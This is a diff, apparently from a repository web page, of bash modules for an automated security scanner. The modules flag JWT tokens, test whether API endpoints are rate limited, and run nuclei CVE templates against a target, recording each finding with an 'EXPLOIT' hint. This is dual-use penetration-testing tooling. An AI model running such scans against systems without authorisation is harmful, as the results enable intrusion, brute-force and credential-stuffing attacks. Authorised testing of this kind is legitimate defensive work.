61|EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt"
|
||||
VECTOR: JWT Token Discovery
|
||||
DETAIL: JWT token found on $target
|
||||
EVIDENCE: Token: ${jwt:0:80}...
|
||||
EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt"
|
||||
else
|
||||
print_skip "No JWT tokens found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
67|}
|
||||
68|
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
1|#!/usr/bin/env bash
|
||||
2|# Vector 14: API Abuse & Security Testing
|
||||
3|# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution
|
||||
4|# Detect: API endpoints /api/, /v1/, /rest
|
||||
5|# Severity: HIGH
|
||||
6|# Tools: curl
|
||||
7|
|
||||
8|vector_apiab() {
|
||||
#!/usr/bin/env bash
|
||||
# Vector 14: API Abuse & Security Testing
|
||||
# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution
|
||||
# Detect: API endpoints /api/, /v1/, /rest
|
||||
# Severity: HIGH
|
||||
# Tools: curl
|
||||
|
||||
vector_apiab() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local findings=0
|
||||
@@ -54,14 +54,13 @@
|
||||
if [ "$rate_check" -eq 0 ]; then
|
||||
print_warn "No rate limiting detected on $endpoint"
|
||||
echo "SEVERITY: MEDIUM
|
||||
57|VECTOR: Missing Rate Limiting
|
||||
58|DETAIL: No rate limiting on $endpoint
|
||||
59|EVIDENCE: 10 rapid requests without 429/503 response
|
||||
60|EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt"
|
||||
VECTOR: Missing Rate Limiting
|
||||
DETAIL: No rate limiting on $endpoint
|
||||
EVIDENCE: 10 rapid requests without 429/503 response
|
||||
EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
return $findings
|
||||
66|}
|
||||
67|
|
||||
}
|
||||
|
||||
106
vectors/21-nuclei.sh
Normal file
106
vectors/21-nuclei.sh
Normal file
@@ -0,0 +1,106 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 21: Nuclei — Real CVE Detection
|
||||
# Desc: Runs nuclei templates against discovered endpoints to find real CVEs
|
||||
# Detect: Any target with reachable endpoints
|
||||
# Severity: CRITICAL
|
||||
# Tools: nuclei
|
||||
|
||||
vector_nuclei() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Running Nuclei — real CVE detection..."
|
||||
|
||||
if ! command -v nuclei &>/dev/null; then
|
||||
print_skip "nuclei not installed. Skipping CVE scanning."
|
||||
return 0
|
||||
fi
|
||||
|
||||
# Check nuclei templates exist
|
||||
if [ ! -d "$HOME/nuclei-templates" ] && [ ! -d "/root/nuclei-templates" ]; then
|
||||
print_warn "Nuclei templates not found. Updating..."
|
||||
nuclei -update-templates 2>/dev/null | tail -1
|
||||
fi
|
||||
|
||||
# Nuclei output file
|
||||
local nuclei_out="$REPORTS_DIR/.${domain}_nuclei.json"
|
||||
|
||||
print_sub "Scanning with nuclei (severity: critical, high, medium)..."
|
||||
print_info "This may take 1-3 minutes..."
|
||||
|
||||
# Run nuclei with focused templates
|
||||
nuclei -u "$target" \
|
||||
-severity critical,high,medium \
|
||||
-json \
|
||||
-o "$nuclei_out" \
|
||||
-rate-limit 50 \
|
||||
-concurrency 10 \
|
||||
-timeout 8 \
|
||||
-retries 1 \
|
||||
-silent 2>/dev/null &
|
||||
|
||||
local nuclei_pid=$!
|
||||
|
||||
# Show spinner while waiting
|
||||
local waited=0
|
||||
while kill -0 $nuclei_pid 2>/dev/null; do
|
||||
sleep 2
|
||||
waited=$((waited + 2))
|
||||
if [ $waited -ge 120 ]; then
|
||||
print_warn "Nuclei timeout (2min), killing..."
|
||||
kill $nuclei_pid 2>/dev/null
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
wait $nuclei_pid 2>/dev/null
|
||||
|
||||
# Parse results
|
||||
if [ -f "$nuclei_out" ] && [ -s "$nuclei_out" ]; then
|
||||
local vuln_count=$(wc -l < "$nuclei_out" | tr -d ' ')
|
||||
|
||||
if [ "$vuln_count" -gt 0 ]; then
|
||||
print_find "Nuclei found $vuln_count vulnerabilities!"
|
||||
|
||||
while IFS= read -r line; do
|
||||
[ -z "$line" ] && continue
|
||||
|
||||
local template=$(echo "$line" | jq -r '.templateID // "unknown"' 2>/dev/null)
|
||||
local name=$(echo "$line" | jq -r '.info.name // "Unknown"' 2>/dev/null)
|
||||
local severity=$(echo "$line" | jq -r '.info.severity // "unknown"' 2>/dev/null)
|
||||
local matched=$(echo "$line" | jq -r '.matched // ""' 2>/dev/null)
|
||||
local curl_cmd=$(echo "$line" | jq -r '.curl-command // ""' 2>/dev/null)
|
||||
local extract=$(echo "$line" | jq -r '.extracted-results // [] | join(", ")' 2>/dev/null)
|
||||
|
||||
local sev_upper=$(echo "$severity" | tr '[:lower:]' '[:upper:]')
|
||||
|
||||
# Save finding
|
||||
echo "SEVERITY: $sev_upper
|
||||
VECTOR: Nuclei - $template
|
||||
DETAIL: $name on $matched
|
||||
EVIDENCE: $extract
|
||||
EXPLOIT: $curl_cmd" > "$REPORTS_DIR/.finding_$(date +%s)_nuclei-${template}.txt"
|
||||
|
||||
findings=$((findings + 1))
|
||||
|
||||
# Print to screen
|
||||
case "$severity" in
|
||||
critical) echo -e " ${BRIGHT_RED}🔴 [CRITICAL]${NC} $name" ;;
|
||||
high) echo -e " ${RED}🟠 [HIGH]${NC} $name" ;;
|
||||
medium) echo -e " ${YELLOW}🟡 [MEDIUM]${NC} $name" ;;
|
||||
*) echo -e " ${BLUE}🔵 [$severity]${NC} $name" ;;
|
||||
esac
|
||||
[ -n "$matched" ] && echo -e " ${DIM} $matched${NC}"
|
||||
|
||||
done < "$nuclei_out"
|
||||
else
|
||||
print_ok "Nuclei found no vulnerabilities"
|
||||
fi
|
||||
else
|
||||
print_ok "Nuclei found no vulnerabilities"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
Reference in New Issue
Block a user